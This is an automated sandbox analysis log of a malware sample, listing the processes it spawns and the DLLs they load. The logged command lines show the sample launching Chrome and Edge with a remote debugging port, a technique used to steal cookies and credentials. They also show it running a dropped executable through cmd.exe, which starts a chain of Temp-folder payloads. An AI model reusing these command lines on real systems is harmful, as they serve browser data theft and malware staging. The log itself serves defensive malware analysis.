Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe "C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe "C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6604 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJECFHCBKK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,7968163992587287453,17615020067299971596,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2132,i,10544505411866981642,738712716715978789,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7048 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7188 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6604 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKJECFHCBKK.exe "C:\Users\user\DocumentsKJECFHCBKK.exe"
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe "C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: vcruntime140_clr0400.dll
